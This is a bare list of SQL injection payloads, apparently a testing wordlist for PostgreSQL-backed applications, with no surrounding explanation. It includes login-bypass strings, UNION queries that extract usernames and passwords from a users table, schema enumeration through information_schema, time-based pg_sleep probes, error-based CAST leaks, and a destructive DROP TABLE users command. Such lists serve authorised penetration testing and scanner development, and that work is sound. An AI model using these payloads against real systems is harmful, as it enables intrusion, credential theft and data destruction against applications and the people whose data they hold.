' OR '1'='1 ' OR '1'='1'-- - ' OR 1=1-- 1' OR '1'='1 admin'-- ' AND 1=1-- ' UNION SELECT NULL-- ' UNION SELECT 1,2,3-- ' UNION SELECT username,password,3 FROM users-- '; DROP TABLE users-- ' AND pg_sleep(5)-- ' AND pg_sleep(5)-- - '; SELECT pg_sleep(5)-- ' UNION SELECT NULL,version(),NULL-- ' UNION SELECT NULL,current_database(),NULL-- ' UNION SELECT NULL,current_user,NULL-- ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ' AND 1=CAST((SELECT version()) AS INT)-- ' AND 1=CAST((SELECT current_database()) AS INT)-- ' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'-- 1 AND 1=1 1 AND 1=2 1 OR 1=1 ') OR ('1'='1 ') AND 1=1-- ') AND 1=2--